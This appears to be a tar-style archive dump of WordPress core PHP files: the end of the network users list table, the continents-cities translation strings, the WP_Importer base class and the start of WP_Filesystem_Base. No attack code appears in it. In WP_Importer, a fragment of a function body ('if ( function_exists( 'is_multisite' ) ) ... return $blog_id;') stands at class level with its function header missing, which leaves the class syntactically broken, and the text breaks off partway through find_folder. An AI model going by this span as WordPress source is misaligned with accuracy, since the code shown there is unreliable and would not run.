						echo "<td $attributes><a href='" . esc_url( "mailto:$user->user_email" ) . "'>$user->user_email</a></td>";
					break;

case 'registered':
						if ( 'list' == $mode )
							$date = 'Y/m/d';
						else
							$date = 'Y/m/d \<\b\r \/\> g:i:s a';

echo "<td $attributes>" . mysql2date( $date, $user->user_registered ) . "</td>";
					break;

case 'blogs':
						$blogs = get_blogs_of_user( $user->ID, true );
						echo "<td $attributes>";
							if ( is_array( $blogs ) ) {
								foreach ( (array) $blogs as $key => $val ) {
									if ( !can_edit_network( $val->site_id ) )
										continue;

$path	= ( $val->path == '/' ) ? '' : $val->path;
									echo '<span class="site-' . $val->site_id . '" >';
									echo '<a href="'. esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) .'">' . str_replace( '.' . get_current_site()->domain, '', $val->domain . $path ) . '</a>';
									echo ' <small class="row-actions">';
									$actions = array();
									$actions['edit'] = '<a href="'. esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) .'">' . __( 'Edit' ) . '</a>';

$class = '';
									if ( get_blog_status( $val->userblog_id, 'spam' ) == 1 )
										$class .= 'site-spammed ';
									if ( get_blog_status( $val->userblog_id, 'mature' ) == 1 )
										$class .= 'site-mature ';
									if ( get_blog_status( $val->userblog_id, 'deleted' ) == 1 )
										$class .= 'site-deleted ';
									if ( get_blog_status( $val->userblog_id, 'archived' ) == 1 )
										$class .= 'site-archived ';

$actions['view'] = '<a class="' . $class . '" href="' . esc_url( get_home_url( $val->userblog_id ) ) . '">' . __( 'View' ) . '</a>';

/**
									 * Filter the action links displayed next the sites a user belongs to
									 * in the Network Admin Users list table.
									 *
									 * @since 3.1.0
									 *
									 * @param array $actions     An array of action links to be displayed.
									 *                           Default 'Edit', 'View'.
									 * @param int   $userblog_id The site ID.
									 */
									$actions = apply_filters( 'ms_user_list_site_actions', $actions, $val->userblog_id );

$i=0;
									$action_count = count( $actions );
									foreach ( $actions as $action => $link ) {
										++$i;
										( $i == $action_count ) ? $sep = '' : $sep = ' | ';
										echo "<span class='$action'>$link$sep</span>";
									}
									echo '</small></span><br/>';
								}
							}
							?>
						</td>
					<?php
					break;

default:
						echo "<td $attributes>";
						/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
						echo apply_filters( 'manage_users_custom_column', '', $column_name, $user->ID );
						echo "</td>";
					break;
				}
			endforeach
			?>
			</tr>
			<?php
		}
	}
}
continents-cities.php000077700000042725151514577750010761 0ustar00<?php

/* Continent and city translations for timezone selection.
 * This file is not included anywhere. It exists solely for use by xgettext.
 */

__('Africa', 'continents-cities');
__('Abidjan', 'continents-cities');
__('Accra', 'continents-cities');
__('Addis Ababa', 'continents-cities');
__('Algiers', 'continents-cities');
__('Asmara', 'continents-cities');
__('Asmera', 'continents-cities');
__('Bamako', 'continents-cities');
__('Bangui', 'continents-cities');
__('Banjul', 'continents-cities');
__('Bissau', 'continents-cities');
__('Blantyre', 'continents-cities');
__('Brazzaville', 'continents-cities');
__('Bujumbura', 'continents-cities');
__('Cairo', 'continents-cities');
__('Casablanca', 'continents-cities');
__('Ceuta', 'continents-cities');
__('Conakry', 'continents-cities');
__('Dakar', 'continents-cities');
__('Dar es Salaam', 'continents-cities');
__('Djibouti', 'continents-cities');
__('Douala', 'continents-cities');
__('El Aaiun', 'continents-cities');
__('Freetown', 'continents-cities');
__('Gaborone', 'continents-cities');
__('Harare', 'continents-cities');
__('Johannesburg', 'continents-cities');
__('Kampala', 'continents-cities');
__('Khartoum', 'continents-cities');
__('Kigali', 'continents-cities');
__('Kinshasa', 'continents-cities');
__('Lagos', 'continents-cities');
__('Libreville', 'continents-cities');
__('Lome', 'continents-cities');
__('Luanda', 'continents-cities');
__('Lubumbashi', 'continents-cities');
__('Lusaka', 'continents-cities');
__('Malabo', 'continents-cities');
__('Maputo', 'continents-cities');
__('Maseru', 'continents-cities');
__('Mbabane', 'continents-cities');
__('Mogadishu', 'continents-cities');
__('Monrovia', 'continents-cities');
__('Nairobi', 'continents-cities');
__('Ndjamena', 'continents-cities');
__('Niamey', 'continents-cities');
__('Nouakchott', 'continents-cities');
__('Ouagadougou', 'continents-cities');
__('Porto-Novo', 'continents-cities');
__('Sao Tome', 'continents-cities');
__('Timbuktu', 'continents-cities');
__('Tripoli', 'continents-cities');
__('Tunis', 'continents-cities');
__('Windhoek', 'continents-cities');
__('America', 'continents-cities');
__('Adak', 'continents-cities');
__('Anchorage', 'continents-cities');
__('Anguilla', 'continents-cities');
__('Antigua', 'continents-cities');
__('Araguaina', 'continents-cities');
__('Argentina', 'continents-cities');
__('Buenos Aires', 'continents-cities');
__('Catamarca', 'continents-cities');
__('ComodRivadavia', 'continents-cities');
__('Cordoba', 'continents-cities');
__('Jujuy', 'continents-cities');
__('La Rioja', 'continents-cities');
__('Mendoza', 'continents-cities');
__('Rio Gallegos', 'continents-cities');
__('San Juan', 'continents-cities');
__('San Luis', 'continents-cities');
__('Tucuman', 'continents-cities');
__('Ushuaia', 'continents-cities');
__('Aruba', 'continents-cities');
__('Asuncion', 'continents-cities');
__('Atikokan', 'continents-cities');
__('Atka', 'continents-cities');
__('Bahia', 'continents-cities');
__('Barbados', 'continents-cities');
__('Belem', 'continents-cities');
__('Belize', 'continents-cities');
__('Blanc-Sablon', 'continents-cities');
__('Boa Vista', 'continents-cities');
__('Bogota', 'continents-cities');
__('Boise', 'continents-cities');
__('Cambridge Bay', 'continents-cities');
__('Campo Grande', 'continents-cities');
__('Cancun', 'continents-cities');
__('Caracas', 'continents-cities');
__('Cayenne', 'continents-cities');
__('Cayman', 'continents-cities');
__('Chicago', 'continents-cities');
__('Chihuahua', 'continents-cities');
__('Coral Harbour', 'continents-cities');
__('Costa Rica', 'continents-cities');
__('Cuiaba', 'continents-cities');
__('Curacao', 'continents-cities');
__('Danmarkshavn', 'continents-cities');
__('Dawson', 'continents-cities');
__('Dawson Creek', 'continents-cities');
__('Denver', 'continents-cities');
__('Detroit', 'continents-cities');
__('Dominica', 'continents-cities');
__('Edmonton', 'continents-cities');
__('Eirunepe', 'continents-cities');
__('El Salvador', 'continents-cities');
__('Ensenada', 'continents-cities');
__('Fort Wayne', 'continents-cities');
__('Fortaleza', 'continents-cities');
__('Glace Bay', 'continents-cities');
__('Godthab', 'continents-cities');
__('Goose Bay', 'continents-cities');
__('Grand Turk', 'continents-cities');
__('Grenada', 'continents-cities');
__('Guadeloupe', 'continents-cities');
__('Guatemala', 'continents-cities');
__('Guayaquil', 'continents-cities');
__('Guyana', 'continents-cities');
__('Halifax', 'continents-cities');
__('Havana', 'continents-cities');
__('Hermosillo', 'continents-cities');
__('Indiana', 'continents-cities');
__('Indianapolis', 'continents-cities');
__('Knox', 'continents-cities');
__('Marengo', 'continents-cities');
__('Petersburg', 'continents-cities');
__('Tell City', 'continents-cities');
__('Vevay', 'continents-cities');
__('Vincennes', 'continents-cities');
__('Winamac', 'continents-cities');
__('Inuvik', 'continents-cities');
__('Iqaluit', 'continents-cities');
__('Jamaica', 'continents-cities');
__('Juneau', 'continents-cities');
__('Kentucky', 'continents-cities');
__('Louisville', 'continents-cities');
__('Monticello', 'continents-cities');
__('Knox IN', 'continents-cities');
__('La Paz', 'continents-cities');
__('Lima', 'continents-cities');
__('Los Angeles', 'continents-cities');
__('Maceio', 'continents-cities');
__('Managua', 'continents-cities');
__('Manaus', 'continents-cities');
__('Marigot', 'continents-cities');
__('Martinique', 'continents-cities');
__('Mazatlan', 'continents-cities');
__('Menominee', 'continents-cities');
__('Merida', 'continents-cities');
__('Mexico City', 'continents-cities');
__('Miquelon', 'continents-cities');
__('Moncton', 'continents-cities');
__('Monterrey', 'continents-cities');
__('Montevideo', 'continents-cities');
__('Montreal', 'continents-cities');
__('Montserrat', 'continents-cities');
__('Nassau', 'continents-cities');
__('New York', 'continents-cities');
__('Nipigon', 'continents-cities');
__('Nome', 'continents-cities');
__('Noronha', 'continents-cities');
__('North Dakota', 'continents-cities');
__('Center', 'continents-cities');
__('New Salem', 'continents-cities');
__('Panama', 'continents-cities');
__('Pangnirtung', 'continents-cities');
__('Paramaribo', 'continents-cities');
__('Phoenix', 'continents-cities');
__('Port-au-Prince', 'continents-cities');
__('Port of Spain', 'continents-cities');
__('Porto Acre', 'continents-cities');
__('Porto Velho', 'continents-cities');
__('Puerto Rico', 'continents-cities');
__('Rainy River', 'continents-cities');
__('Rankin Inlet', 'continents-cities');
__('Recife', 'continents-cities');
__('Regina', 'continents-cities');
__('Resolute', 'continents-cities');
__('Rio Branco', 'continents-cities');
__('Rosario', 'continents-cities');
__('Santiago', 'continents-cities');
__('Santo Domingo', 'continents-cities');
__('Sao Paulo', 'continents-cities');
__('Scoresbysund', 'continents-cities');
__('Shiprock', 'continents-cities');
__('St Barthelemy', 'continents-cities');
__('St Johns', 'continents-cities');
__('St Kitts', 'continents-cities');
__('St Lucia', 'continents-cities');
__('St Thomas', 'continents-cities');
__('St Vincent', 'continents-cities');
__('Swift Current', 'continents-cities');
__('Tegucigalpa', 'continents-cities');
__('Thule', 'continents-cities');
__('Thunder Bay', 'continents-cities');
__('Tijuana', 'continents-cities');
__('Toronto', 'continents-cities');
__('Tortola', 'continents-cities');
__('Vancouver', 'continents-cities');
__('Virgin', 'continents-cities');
__('Whitehorse', 'continents-cities');
__('Winnipeg', 'continents-cities');
__('Yakutat', 'continents-cities');
__('Yellowknife', 'continents-cities');
__('Antarctica', 'continents-cities');
__('Casey', 'continents-cities');
__('Davis', 'continents-cities');
__('DumontDUrville', 'continents-cities');
__('Mawson', 'continents-cities');
__('McMurdo', 'continents-cities');
__('Palmer', 'continents-cities');
__('Rothera', 'continents-cities');
__('South Pole', 'continents-cities');
__('Syowa', 'continents-cities');
__('Vostok', 'continents-cities');
__('Arctic', 'continents-cities');
__('Longyearbyen', 'continents-cities');
__('Asia', 'continents-cities');
__('Aden', 'continents-cities');
__('Almaty', 'continents-cities');
__('Amman', 'continents-cities');
__('Anadyr', 'continents-cities');
__('Aqtau', 'continents-cities');
__('Aqtobe', 'continents-cities');
__('Ashgabat', 'continents-cities');
__('Ashkhabad', 'continents-cities');
__('Baghdad', 'continents-cities');
__('Bahrain', 'continents-cities');
__('Baku', 'continents-cities');
__('Bangkok', 'continents-cities');
__('Beirut', 'continents-cities');
__('Bishkek', 'continents-cities');
__('Brunei', 'continents-cities');
__('Calcutta', 'continents-cities');
__('Choibalsan', 'continents-cities');
__('Chongqing', 'continents-cities');
__('Chungking', 'continents-cities');
__('Colombo', 'continents-cities');
__('Dacca', 'continents-cities');
__('Damascus', 'continents-cities');
__('Dhaka', 'continents-cities');
__('Dili', 'continents-cities');
__('Dubai', 'continents-cities');
__('Dushanbe', 'continents-cities');
__('Gaza', 'continents-cities');
__('Harbin', 'continents-cities');
__('Ho Chi Minh', 'continents-cities');
__('Hong Kong', 'continents-cities');
__('Hovd', 'continents-cities');
__('Irkutsk', 'continents-cities');
__('Istanbul', 'continents-cities');
__('Jakarta', 'continents-cities');
__('Jayapura', 'continents-cities');
__('Jerusalem', 'continents-cities');
__('Kabul', 'continents-cities');
__('Kamchatka', 'continents-cities');
__('Karachi', 'continents-cities');
__('Kashgar', 'continents-cities');
__('Katmandu', 'continents-cities');
__('Kolkata', 'continents-cities');
__('Krasnoyarsk', 'continents-cities');
__('Kuala Lumpur', 'continents-cities');
__('Kuching', 'continents-cities');
__('Kuwait', 'continents-cities');
__('Macao', 'continents-cities');
__('Macau', 'continents-cities');
__('Magadan', 'continents-cities');
__('Makassar', 'continents-cities');
__('Manila', 'continents-cities');
__('Muscat', 'continents-cities');
__('Nicosia', 'continents-cities');
__('Novosibirsk', 'continents-cities');
__('Omsk', 'continents-cities');
__('Oral', 'continents-cities');
__('Phnom Penh', 'continents-cities');
__('Pontianak', 'continents-cities');
__('Pyongyang', 'continents-cities');
__('Qatar', 'continents-cities');
__('Qyzylorda', 'continents-cities');
__('Rangoon', 'continents-cities');
__('Riyadh', 'continents-cities');
__('Saigon', 'continents-cities');
__('Sakhalin', 'continents-cities');
__('Samarkand', 'continents-cities');
__('Seoul', 'continents-cities');
__('Shanghai', 'continents-cities');
__('Singapore', 'continents-cities');
__('Taipei', 'continents-cities');
__('Tashkent', 'continents-cities');
__('Tbilisi', 'continents-cities');
__('Tehran', 'continents-cities');
__('Tel Aviv', 'continents-cities');
__('Thimbu', 'continents-cities');
__('Thimphu', 'continents-cities');
__('Tokyo', 'continents-cities');
__('Ujung Pandang', 'continents-cities');
__('Ulaanbaatar', 'continents-cities');
__('Ulan Bator', 'continents-cities');
__('Urumqi', 'continents-cities');
__('Vientiane', 'continents-cities');
__('Vladivostok', 'continents-cities');
__('Yakutsk', 'continents-cities');
__('Yekaterinburg', 'continents-cities');
__('Yerevan', 'continents-cities');
__('Atlantic', 'continents-cities');
__('Azores', 'continents-cities');
__('Bermuda', 'continents-cities');
__('Canary', 'continents-cities');
__('Cape Verde', 'continents-cities');
__('Faeroe', 'continents-cities');
__('Faroe', 'continents-cities');
__('Jan Mayen', 'continents-cities');
__('Madeira', 'continents-cities');
__('Reykjavik', 'continents-cities');
__('South Georgia', 'continents-cities');
__('St Helena', 'continents-cities');
__('Stanley', 'continents-cities');
__('Australia', 'continents-cities');
__('ACT', 'continents-cities');
__('Adelaide', 'continents-cities');
__('Brisbane', 'continents-cities');
__('Broken Hill', 'continents-cities');
__('Canberra', 'continents-cities');
__('Currie', 'continents-cities');
__('Darwin', 'continents-cities');
__('Eucla', 'continents-cities');
__('Hobart', 'continents-cities');
__('LHI', 'continents-cities');
__('Lindeman', 'continents-cities');
__('Lord Howe', 'continents-cities');
__('Melbourne', 'continents-cities');
__('North', 'continents-cities');
__('NSW', 'continents-cities');
__('Perth', 'continents-cities');
__('Queensland', 'continents-cities');
__('South', 'continents-cities');
__('Sydney', 'continents-cities');
__('Tasmania', 'continents-cities');
__('Victoria', 'continents-cities');
__('West', 'continents-cities');
__('Yancowinna', 'continents-cities');
__('Etc', 'continents-cities');
__('GMT', 'continents-cities');
__('GMT+0', 'continents-cities');
__('GMT+1', 'continents-cities');
__('GMT+10', 'continents-cities');
__('GMT+11', 'continents-cities');
__('GMT+12', 'continents-cities');
__('GMT+2', 'continents-cities');
__('GMT+3', 'continents-cities');
__('GMT+4', 'continents-cities');
__('GMT+5', 'continents-cities');
__('GMT+6', 'continents-cities');
__('GMT+7', 'continents-cities');
__('GMT+8', 'continents-cities');
__('GMT+9', 'continents-cities');
__('GMT-0', 'continents-cities');
__('GMT-1', 'continents-cities');
__('GMT-10', 'continents-cities');
__('GMT-11', 'continents-cities');
__('GMT-12', 'continents-cities');
__('GMT-13', 'continents-cities');
__('GMT-14', 'continents-cities');
__('GMT-2', 'continents-cities');
__('GMT-3', 'continents-cities');
__('GMT-4', 'continents-cities');
__('GMT-5', 'continents-cities');
__('GMT-6', 'continents-cities');
__('GMT-7', 'continents-cities');
__('GMT-8', 'continents-cities');
__('GMT-9', 'continents-cities');
__('GMT0', 'continents-cities');
__('Greenwich', 'continents-cities');
__('UCT', 'continents-cities');
__('Universal', 'continents-cities');
__('UTC', 'continents-cities');
__('Zulu', 'continents-cities');
__('Europe', 'continents-cities');
__('Amsterdam', 'continents-cities');
__('Andorra', 'continents-cities');
__('Athens', 'continents-cities');
__('Belfast', 'continents-cities');
__('Belgrade', 'continents-cities');
__('Berlin', 'continents-cities');
__('Bratislava', 'continents-cities');
__('Brussels', 'continents-cities');
__('Bucharest', 'continents-cities');
__('Budapest', 'continents-cities');
__('Chisinau', 'continents-cities');
__('Copenhagen', 'continents-cities');
__('Dublin', 'continents-cities');
__('Gibraltar', 'continents-cities');
__('Guernsey', 'continents-cities');
__('Helsinki', 'continents-cities');
__('Isle of Man', 'continents-cities');
__('Jersey', 'continents-cities');
__('Kaliningrad', 'continents-cities');
__('Kiev', 'continents-cities');
__('Lisbon', 'continents-cities');
__('Ljubljana', 'continents-cities');
__('London', 'continents-cities');
__('Luxembourg', 'continents-cities');
__('Madrid', 'continents-cities');
__('Malta', 'continents-cities');
__('Mariehamn', 'continents-cities');
__('Minsk', 'continents-cities');
__('Monaco', 'continents-cities');
__('Moscow', 'continents-cities');
__('Oslo', 'continents-cities');
__('Paris', 'continents-cities');
__('Podgorica', 'continents-cities');
__('Prague', 'continents-cities');
__('Riga', 'continents-cities');
__('Rome', 'continents-cities');
__('Samara', 'continents-cities');
__('San Marino', 'continents-cities');
__('Sarajevo', 'continents-cities');
__('Simferopol', 'continents-cities');
__('Skopje', 'continents-cities');
__('Sofia', 'continents-cities');
__('Stockholm', 'continents-cities');
__('Tallinn', 'continents-cities');
__('Tirane', 'continents-cities');
__('Tiraspol', 'continents-cities');
__('Uzhgorod', 'continents-cities');
__('Vaduz', 'continents-cities');
__('Vatican', 'continents-cities');
__('Vienna', 'continents-cities');
__('Vilnius', 'continents-cities');
__('Volgograd', 'continents-cities');
__('Warsaw', 'continents-cities');
__('Zagreb', 'continents-cities');
__('Zaporozhye', 'continents-cities');
__('Zurich', 'continents-cities');
__('Indian', 'continents-cities');
__('Antananarivo', 'continents-cities');
__('Chagos', 'continents-cities');
__('Christmas', 'continents-cities');
__('Cocos', 'continents-cities');
__('Comoro', 'continents-cities');
__('Kerguelen', 'continents-cities');
__('Mahe', 'continents-cities');
__('Maldives', 'continents-cities');
__('Mauritius', 'continents-cities');
__('Mayotte', 'continents-cities');
__('Reunion', 'continents-cities');
__('Pacific', 'continents-cities');
__('Apia', 'continents-cities');
__('Auckland', 'continents-cities');
__('Chatham', 'continents-cities');
__('Easter', 'continents-cities');
__('Efate', 'continents-cities');
__('Enderbury', 'continents-cities');
__('Fakaofo', 'continents-cities');
__('Fiji', 'continents-cities');
__('Funafuti', 'continents-cities');
__('Galapagos', 'continents-cities');
__('Gambier', 'continents-cities');
__('Guadalcanal', 'continents-cities');
__('Guam', 'continents-cities');
__('Honolulu', 'continents-cities');
__('Johnston', 'continents-cities');
__('Kiritimati', 'continents-cities');
__('Kosrae', 'continents-cities');
__('Kwajalein', 'continents-cities');
__('Majuro', 'continents-cities');
__('Marquesas', 'continents-cities');
__('Midway', 'continents-cities');
__('Nauru', 'continents-cities');
__('Niue', 'continents-cities');
__('Norfolk', 'continents-cities');
__('Noumea', 'continents-cities');
__('Pago Pago', 'continents-cities');
__('Palau', 'continents-cities');
__('Pitcairn', 'continents-cities');
__('Ponape', 'continents-cities');
__('Port Moresby', 'continents-cities');
__('Rarotonga', 'continents-cities');
__('Saipan', 'continents-cities');
__('Samoa', 'continents-cities');
__('Tahiti', 'continents-cities');
__('Tarawa', 'continents-cities');
__('Tongatapu', 'continents-cities');
__('Truk', 'continents-cities');
__('Wake', 'continents-cities');
__('Wallis', 'continents-cities');
__('Yap', 'continents-cities');
class-wp-importer.php000077700000015206151514577750010701 0ustar00<?php
/**
 * WP_Importer base class
 */
class WP_Importer {
	/**
	 * Class Constructor
	 *
	 * @return void
	 */
	function __construct() {}

/**
	 * Returns array with imported permalinks from WordPress database
	 *
	 * @param string $bid
	 * @return array
	 */
	function get_imported_posts( $importer_name, $bid ) {
		global $wpdb;

$hashtable = array();

$limit = 100;
		$offset = 0;

// Grab all posts in chunks
		do {
			$meta_key = $importer_name . '_' . $bid . '_permalink';
			$sql = $wpdb->prepare( "SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = '%s' LIMIT %d,%d", $meta_key, $offset, $limit );
			$results = $wpdb->get_results( $sql );

// Increment offset
			$offset = ( $limit + $offset );

if ( !empty( $results ) ) {
				foreach ( $results as $r ) {
					// Set permalinks into array
					$hashtable[$r->meta_value] = intval( $r->post_id );
				}
			}
		} while ( count( $results ) == $limit );

// unset to save memory
		unset( $results, $r );

return $hashtable;
	}

/**
	 * Return count of imported permalinks from WordPress database
	 *
	 * @param string $bid
	 * @return int
	 */
	function count_imported_posts( $importer_name, $bid ) {
		global $wpdb;

$count = 0;

// Get count of permalinks
		$meta_key = $importer_name . '_' . $bid . '_permalink';
		$sql = $wpdb->prepare( "SELECT COUNT( post_id ) AS cnt FROM $wpdb->postmeta WHERE meta_key = '%s'", $meta_key );

$result = $wpdb->get_results( $sql );

if ( !empty( $result ) )
			$count = intval( $result[0]->cnt );

// unset to save memory
		unset( $results );

return $count;
	}

/**
	 * Set array with imported comments from WordPress database
	 *
	 * @param string $bid
	 * @return array
	 */
	function get_imported_comments( $bid ) {
		global $wpdb;

$hashtable = array();

$limit = 100;
		$offset = 0;

// Grab all comments in chunks
		do {
			$sql = $wpdb->prepare( "SELECT comment_ID, comment_agent FROM $wpdb->comments LIMIT %d,%d", $offset, $limit );
			$results = $wpdb->get_results( $sql );

// Increment offset
			$offset = ( $limit + $offset );

if ( !empty( $results ) ) {
				foreach ( $results as $r ) {
					// Explode comment_agent key
					list ( $ca_bid, $source_comment_id ) = explode( '-', $r->comment_agent );
					$source_comment_id = intval( $source_comment_id );

// Check if this comment came from this blog
					if ( $bid == $ca_bid ) {
						$hashtable[$source_comment_id] = intval( $r->comment_ID );
					}
				}
			}
		} while ( count( $results ) == $limit );

// unset to save memory
		unset( $results, $r );

return $hashtable;
	}

if ( function_exists( 'is_multisite' ) ) {
			if ( is_multisite() )
				switch_to_blog( $blog_id );
		}

return $blog_id;
	}

function set_user( $user_id ) {
		if ( is_numeric( $user_id ) ) {
			$user_id = (int) $user_id;
		} else {
			$user_id = (int) username_exists( $user_id );
		}

if ( !$user_id || !wp_set_current_user( $user_id ) ) {
			fwrite( STDERR, "Error: can not find user\n" );
			exit();
		}

return $user_id;
	}

/**
	 * Sort by strlen, longest string first
	 *
	 * @param string $a
	 * @param string $b
	 * @return int
	 */
	function cmpr_strlen( $a, $b ) {
		return strlen( $b ) - strlen( $a );
	}

/**
	 * GET URL
	 *
	 * @param string $url
	 * @param string $username
	 * @param string $password
	 * @param bool $head
	 * @return array
	 */
	function get_page( $url, $username = '', $password = '', $head = false ) {
		// Increase the timeout
		add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) );

$headers = array();
		$args = array();
		if ( true === $head )
			$args['method'] = 'HEAD';
		if ( !empty( $username ) && !empty( $password ) )
			$headers['Authorization'] = 'Basic ' . base64_encode( "$username:$password" );

$args['headers'] = $headers;

return wp_safe_remote_request( $url, $args );
	}

/**
	 * Bump up the request timeout for http requests
	 *
	 * @param int $val
	 * @return int
	 */
	function bump_request_timeout( $val ) {
		return 60;
	}

/**
	 * Check if user has exceeded disk quota
	 *
	 * @return bool
	 */
	function is_user_over_quota() {
		if ( function_exists( 'upload_is_user_over_quota' ) ) {
			if ( upload_is_user_over_quota( 1 ) ) {
				echo "Sorry, you have used your upload quota.\n";
				return true;
			}
		}

return false;
	}

/**
	 * Replace newlines, tabs, and multiple spaces with a single space
	 *
	 * @param string $string
	 * @return string
	 */
	function min_whitespace( $string ) {
		return preg_replace( '|[\r\n\t ]+|', ' ', $string );
	}

/**
	 * Reset global variables that grow out of control during imports
	 *
	 * @return void
	 */
	function stop_the_insanity() {
		global $wpdb, $wp_actions;
		// Or define( 'WP_IMPORTING', true );
		$wpdb->queries = array();
		// Reset $wp_actions to keep it from growing out of control
		$wp_actions = array();
	}
}

/**
 * Returns value of command line params.
 * Exits when a required param is not set.
 *
 * @param string $param
 * @param bool $required
 * @return mixed
 */
function get_cli_args( $param, $required = false ) {
	$args = $_SERVER['argv'];

$out = array();

$last_arg = null;
	$return = null;

$il = sizeof( $args );

for ( $i = 1, $il; $i < $il; $i++ ) {
		if ( (bool) preg_match( "/^--(.+)/", $args[$i], $match ) ) {
			$parts = explode( "=", $match[1] );
			$key = preg_replace( "/[^a-z0-9]+/", "", $parts[0] );

if ( isset( $parts[1] ) ) {
				$out[$key] = $parts[1];
			} else {
				$out[$key] = true;
			}

$last_arg = $key;
		} else if ( (bool) preg_match( "/^-([a-zA-Z0-9]+)/", $args[$i], $match ) ) {
			for ( $j = 0, $jl = strlen( $match[1] ); $j < $jl; $j++ ) {
				$key = $match[1]{$j};
				$out[$key] = true;
			}

$last_arg = $key;
		} else if ( $last_arg !== null ) {
			$out[$last_arg] = $args[$i];
		}
	}

// Check array for specified param
	if ( isset( $out[$param] ) ) {
		// Set return value
		$return = $out[$param];
	}

// Check for missing required param
	if ( !isset( $out[$param] ) && $required ) {
		// Display message and exit
		echo "\"$param\" parameter is required but was not specified\n";
		exit();
	}

return $return;
}
class-wp-filesystem-base.php000077700000051530151514577750012134 0ustar00<?php
/**
 * Base WordPress Filesystem
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * Base WordPress Filesystem class for which Filesystem implementations extend
 *
 * @since 2.5.0
 */
class WP_Filesystem_Base {
	/**
	 * Whether to display debug data for the connection.
	 *
	 * @access public
	 * @since 2.5.0
	 * @var bool
	 */
	var $verbose = false;

/**
	 * Cached list of local filepaths to mapped remote filepaths.
	 *
	 * @access private
	 * @since 2.7.0
	 * @var array
	 */
	var $cache = array();

/**
	 * The Access method of the current connection, Set automatically.
	 *
	 * @access public
	 * @since 2.5.0
	 * @var string
	 */
	var $method = '';

/**
	 * Constructor (empty).
	 */
	function __construct() {}

/**
	 * Return the path on the remote filesystem of ABSPATH.
	 *
	 * @access public
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	function abspath() {
		$folder = $this->find_folder(ABSPATH);
		// Perhaps the FTP folder is rooted at the WordPress install, Check for wp-includes folder in root, Could have some false positives, but rare.
		if ( ! $folder && $this->is_dir('/wp-includes') )
			$folder = '/';
		return $folder;
	}

/**
	 * Return the path on the remote filesystem of WP_CONTENT_DIR.
	 *
	 * @access public
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	function wp_content_dir() {
		return $this->find_folder(WP_CONTENT_DIR);
	}

/**
	 * Return the path on the remote filesystem of WP_PLUGIN_DIR.
	 *
	 * @access public
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	function wp_plugins_dir() {
		return $this->find_folder(WP_PLUGIN_DIR);
	}

/**
	 * Return the path on the remote filesystem of the Themes Directory.
	 *
	 * @access public
	 * @since 2.7.0
	 *
	 * @param string $theme The Theme stylesheet or template for the directory.
	 * @return string The location of the remote path.
	 */
	function wp_themes_dir( $theme = false ) {
		$theme_root = get_theme_root( $theme );

// Account for relative theme roots
		if ( '/themes' == $theme_root || ! is_dir( $theme_root ) )
			$theme_root = WP_CONTENT_DIR . $theme_root;

return $this->find_folder( $theme_root );
	}

/**
	 * Return the path on the remote filesystem of WP_LANG_DIR.
	 *
	 * @access public
	 * @since 3.2.0
	 *
	 * @return string The location of the remote path.
	 */
	function wp_lang_dir() {
		return $this->find_folder(WP_LANG_DIR);
	}

/**
	 * Locate a folder on the remote filesystem.
	 *
	 * @access public
	 * @since 2.5.0
	 * @deprecated 2.7.0 use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() instead.
	 * @see WP_Filesystem::abspath()
	 * @see WP_Filesystem::wp_content_dir()
	 * @see WP_Filesystem::wp_plugins_dir()
	 * @see WP_Filesystem::wp_themes_dir()
	 * @see WP_Filesystem::wp_lang_dir()
	 *
	 * @param string $base The folder to start searching from.
	 * @param bool   $echo True to display debug information.
	 *                     Default false.
	 * @return string The location of the remote path.
	 */
	function find_base_dir( $base = '.', $echo = false ) {
		_deprecated_function(__FUNCTION__, '2.7', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' );
		$this->verbose = $echo;
		return $this->abspath();
	}

/**
	 * Locate a folder on the remote filesystem.
	 *
	 * @access public
	 * @since 2.5.0
	 * @deprecated 2.7.0 use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() methods instead.
	 * @see WP_Filesystem::abspath()
	 * @see WP_Filesystem::wp_content_dir()
	 * @see WP_Filesystem::wp_plugins_dir()
	 * @see WP_Filesystem::wp_themes_dir()
	 * @see WP_Filesystem::wp_lang_dir()
	 *
	 * @param string $base The folder to start searching from.
	 * @param bool   $echo True to display debug information.
	 * @return string The location of the remote path.
	 */
	function get_base_dir( $base = '.', $echo = false ) {
		_deprecated_function(__FUNCTION__, '2.7', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' );
		$this->verbose = $echo;
		return $this->abspath();
	}

/**
	 * Locate a folder on the remote filesystem.
	 *
	 * Assumes that on Windows systems, Stripping off the Drive
	 * letter is OK Sanitizes \\ to / in windows filepaths.
	 *
	 * @access public
	 * @since 2.7.0
	 *
	 * @param string $folder the folder to locate.
	 * @return string The location of the remote path.
	 */
	function find_folder( $folder ) {

if ( isset( $this->cache[ $folder ] ) )
			return $this->cache[ $folder ];

if ( stripos($this->method, 'ftp') !== false ) {
			$constant_overrides = array(
				'FTP_BASE' => ABSPATH,
				'FTP_CONTENT_DIR' => WP_CONTENT_DIR,
				'FTP_PLUGIN_DIR' => WP_PLUGIN_DIR,
				'FTP_LANG_DIR' => WP_LANG_DIR
			);

// Direct matches ( folder = CONSTANT/ )
			foreach ( $constant_overrides as $constant => $dir ) {
				if ( ! defined( $constant ) )
					continue;
				if ( $folder === $dir )
					return trailingslashit( constant( $constant ) );
			}

// Prefix Matches ( folder = CONSTANT/subdir )
			foreach ( $constant_overrides as $constant => $dir ) {
				if ( ! defined( $constant ) )
					continue;
				if ( 0 === stripos( $folder, $dir ) ) { // $folder starts with $dir
					$potential_folder = preg_replace( '#^' . preg_quote( $dir, '#' ) . '/#i', trailingslashit( constant( $constant ) ), $folder );
					$potential_folder = trailingslashit( $potential_folder );

if ( $this->is_dir( $potential_folder ) ) {
						$this->cache[ $folder ] = $potential_folder;
						return $potential_folder;
					}
				}
			}
		} elseif ( 'direct' == $this->method ) {
			$folder = str_replace('\\', '/', $folder); // Windows path sanitisation
			return trailingslashit($folder);
		}

$folder = preg_replace('|^([a-z]{1}):|i', '', $folder); // Strip out windows drive letter if it's there.
